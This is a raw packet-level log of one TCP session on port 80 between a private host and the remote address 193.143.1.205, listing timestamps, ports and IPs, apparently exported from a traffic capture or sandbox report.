Jan 10, 2025 14:28:14.820106030 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.820111036 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.820122957 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.820133924 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.820135117 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.820154905 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.820177078 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.825061083 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.831996918 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.871459007 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.871503115 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.871520996 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.871532917 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.871540070 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.871551037 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.871576071 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.871623039 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.902345896 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.902405024 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.902415991 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.902427912 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.902461052 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.902498960 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.902515888 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.902530909 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.902542114 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.902569056 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.902679920 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.902690887 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.902703047 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.902714014 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.902735949 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.902767897 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.902807951 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.902848959 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.902859926 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.902873993 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.902909040 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.902986050 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.902997971 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.903043032 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.903194904 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.903206110 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.903217077 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.903261900 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.932771921 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.932802916 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.932822943 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.932828903 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.932838917 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.932873964 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.932917118 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.932950974 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.932961941 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.932991028 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.933011055 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.933013916 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.933058977 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.933223963 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.933384895 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.933432102 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.933480024 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.933496952 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.933507919 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.933533907 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.933558941 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.933584929 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.933593988 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.933617115 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.933635950 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.933646917 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.933654070 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.933657885 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.933671951 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.933679104 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.933689117 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.933707952 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.934067965 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.934081078 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.934092045 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.934134960 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.934134960 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.934330940 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.934341908 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.934355021 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.934365988 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.934377909 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.934390068 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.934401035 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.934421062 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.934432983 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.934442997 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.934448957 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.934457064 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.934459925 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.934469938 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.934483051 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.934484005 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.934515953 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.934523106 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.934525967 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.934535027 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.934576035 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.935338974 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.935352087 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.935364962 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.935376883 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.935388088 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.935394049 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.935399055 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.935409069 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.935430050 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.935437918 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.935446024 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.935456038 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.935467958 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.935477972 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.935489893 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.935518026 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.936041117 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.936053991 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.936064959 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.936075926 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.936086893 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.936098099 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.936100006 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.936110973 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.936124086 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.936142921 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.936178923 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.936192036 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.936203003 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.936213970 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.936224937 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.936234951 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.936243057 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.936247110 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.936273098 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.936918974 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.936937094 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.936955929 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.936985970 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.936997890 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.937016964 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.937027931 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.937033892 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.937038898 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.937050104 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.937062025 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.937081099 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.937133074 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.937144041 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.937155962 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.937166929 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.937176943 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.937177896 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.937190056 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.937196016 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.937212944 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.937879086 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.937901974 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.937911987 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.937937021 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.937963963 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.937975883 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.937980890 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.937988043 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.938009977 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.938059092 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.938071012 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.938083887 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.938092947 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.938095093 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.938107014 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.938118935 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.938146114 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.938308001 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.958236933 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.958265066 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.958276987 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.958303928 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.958316088 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.958328009 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.958333015 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.958373070 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.958384037 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.958408117 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.958426952 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.958468914 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.000057936 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.000097036 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.000113010 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.000138998 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.000154018 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.000157118 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.000168085 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.000178099 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.000185013 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.000190020 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.000200033 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.000206947 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.000217915 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.000227928 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.000231028 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.000242949 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.000268936 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.000284910 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.000653028 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.000679016 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.000689983 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.000699997 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.000710011 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.000718117 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.000720978 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.000746965 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.000760078 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.000761986 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.000771046 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.000782967 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.000793934 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.000803947 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.000808001 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.000813007 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.000830889 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.000844002 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.006005049 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.019546032 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.019566059 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.019576073 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.019632101 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.019649029 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.019666910 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.019680023 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.019690037 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.019704103 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.019709110 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.019730091 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.019740105 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.019968033 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.019985914 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.019996881 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.020035982 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.020062923 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.020078897 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.020083904 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.020112991 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.020119905 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.020123959 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.020159006 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.020178080 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.020191908 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.020196915 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.020234108 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.020263910 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.020277023 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.020287991 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.020303011 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.020315886 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.020325899 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.020400047 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.020411968 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.020438910 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.020447969 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.020451069 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.020461082 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.020473003 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.020473003 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.020483971 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.020494938 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.020498991 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.020523071 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.020757914 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.020771027 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.020796061 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.020803928 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.020807028 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.020817995 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.020844936 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.020865917 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.020927906 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.020939112 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.020963907 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.020977020 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.020989895 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.021003962 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.021029949 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.021148920 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.021159887 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.021171093 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.021195889 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.021207094 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.021219015 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.021219969 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.021236897 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.021249056 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.021255016 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.021282911 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.021316051 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.021327019 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.021339893 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.021342993 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.021362066 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.021387100 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.022805929 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.023034096 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.024517059 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.024528027 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.024561882 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.024564981 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.024573088 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.024583101 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.024616957 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.024655104 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.024667025 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.024676085 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.024688005 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.024696112 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.024708033 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.024749041 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.024760008 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.024770021 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.024786949 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.024801970 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.024810076 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.024813890 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.024827003 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.024837971 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.024847984 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.024878025 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.025099993 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.025131941 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.025142908 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.025154114 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.025178909 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.025196075 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.025216103 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.025227070 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.025255919 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.025266886 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.025278091 CET	80	49706	193.143.1.205	192.168.2.8
